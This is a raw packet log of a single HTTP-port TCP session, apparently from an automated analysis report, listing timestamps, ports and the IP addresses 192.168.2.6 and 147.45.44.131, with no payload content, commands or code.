Jan 7, 2025 06:12:04.940789938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940795898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940810919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940820932 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940857887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940867901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940881014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940891027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940898895 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940910101 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944042921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944055080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944065094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944075108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944084883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944088936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944096088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944107056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944120884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944148064 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944329023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944339037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944349051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944359064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944384098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944396973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944405079 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944408894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944421053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944428921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944439888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944446087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944452047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944475889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944494963 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944531918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944542885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944554090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944578886 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944720984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944732904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944742918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944752932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944762945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944770098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944773912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944792032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944813013 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944886923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944897890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944906950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944916964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944926977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944931984 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944937944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944942951 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944950104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944962025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.944967031 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.944991112 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945036888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945046902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945056915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945066929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945077896 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945108891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945162058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945173979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945183992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945218086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945238113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945313931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945329905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945341110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945349932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945362091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945369959 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945410967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945452929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945466042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945476055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945487976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945492983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945518970 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945581913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945624113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945676088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945692062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945702076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945723057 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945806980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945817947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945827007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.945847034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945859909 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.945966959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947371960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947382927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947410107 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947572947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947586060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947596073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947606087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947616100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947623968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947623968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947628021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947638988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947649956 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947681904 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947716951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947729111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947738886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947748899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947758913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947762012 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947771072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947801113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947820902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.947866917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947877884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947889090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.947915077 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.948033094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948044062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948054075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948065042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948077917 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.948101997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.948210955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948220968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948232889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948241949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948251963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.948252916 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.948271990 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.948292971 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.948359013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.023953915 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.045964003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.045978069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.045989037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.046000957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.046057940 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.046084881 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.046217918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.046674013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.046684980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.046694994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.046721935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.046746969 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050112009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050123930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050133944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050144911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050156116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050165892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050168037 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050178051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050189018 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050190926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050200939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050210953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050215006 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050220966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050230026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050230980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050242901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050251961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050256968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050261974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050271988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050281048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050282955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050290108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050301075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050311089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050318956 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050319910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050333023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050340891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050350904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050360918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050368071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050369978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050390005 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050407887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050685883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050698042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050707102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050717115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050734043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050744057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050744057 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050757885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050767899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050770044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050779104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050790071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050800085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050806999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050811052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050822020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050832033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050838947 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050843000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050852060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050860882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050870895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050875902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050882101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050893068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050900936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050905943 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050911903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050921917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050930977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050940990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050950050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050961018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050971985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050971985 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050981045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050981045 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.050993919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.050995111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051004887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051014900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051024914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051034927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051040888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051047087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051057100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051067114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051067114 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051076889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051083088 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051088095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051098108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051109076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051110983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051124096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051131964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051135063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051140070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051146984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051156998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051161051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051167011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051177979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051186085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051188946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051199913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051208973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051209927 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051219940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051229000 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051229954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051240921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051250935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051250935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051260948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051270962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051280975 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051285982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051292896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051295996 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051305056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051321030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051322937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051335096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051340103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051347017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051357985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051367044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051369905 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051378012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051388025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051398993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051408052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051414967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051414967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051415920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051428080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051438093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051444054 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051449060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051459074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051465034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051470041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051481009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051489115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051498890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051505089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051507950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051518917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051527977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051532984 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051538944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051548958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051553011 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051558971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051568985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051575899 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051578999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051589966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051598072 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051599979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051610947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051621914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051630020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.051644087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.051673889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.125586033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125601053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125611067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125622034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125652075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.125679970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125684977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.125690937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125700951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125710964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125722885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125731945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125732899 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.125742912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125760078 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.125822067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125833035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125844002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125854015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125871897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.125950098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.125988960 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126080990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126091003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126123905 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.126252890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.126264095 CET	80	49712	147.45.44.131	192.168.2.6
